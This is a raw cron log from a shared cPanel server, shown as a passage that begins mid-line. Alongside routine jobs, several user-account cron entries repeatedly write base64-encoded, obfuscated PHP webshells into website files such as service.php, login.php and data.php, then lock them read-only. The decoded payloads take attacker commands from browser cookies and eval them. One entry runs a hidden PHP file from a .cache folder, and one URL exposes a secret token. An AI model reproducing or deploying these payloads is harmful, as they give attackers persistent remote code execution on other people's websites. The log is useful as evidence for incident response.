J3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:51:02 medusa CROND[7235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:51:02 medusa CROND[7237]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:51:02 medusa CROND[7257]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:52:01 medusa CROND[8730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:52:02 medusa CROND[8738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:52:02 medusa CROND[8740]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:52:02 medusa CROND[8741]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:52:02 medusa CROND[8742]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:52:02 medusa CROND[8745]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:52:02 medusa CROND[8749]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:52:02 medusa CROND[8750]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:52:02 medusa CROND[8752]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:52:02 medusa CROND[8753]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:52:02 medusa CROND[8754]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:52:02 medusa CROND[8755]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:52:02 medusa CROND[8758]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:53:01 medusa CROND[10273]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:53:01 medusa CROND[10274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:53:01 medusa CROND[10275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:53:01 medusa CROND[10276]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:53:01 medusa CROND[10277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:53:01 medusa CROND[10278]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:53:01 medusa CROND[10279]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:53:01 medusa CROND[10280]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:53:01 medusa CROND[10281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:53:01 medusa CROND[10282]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:53:01 medusa CROND[10283]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:53:01 medusa CROND[10289]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
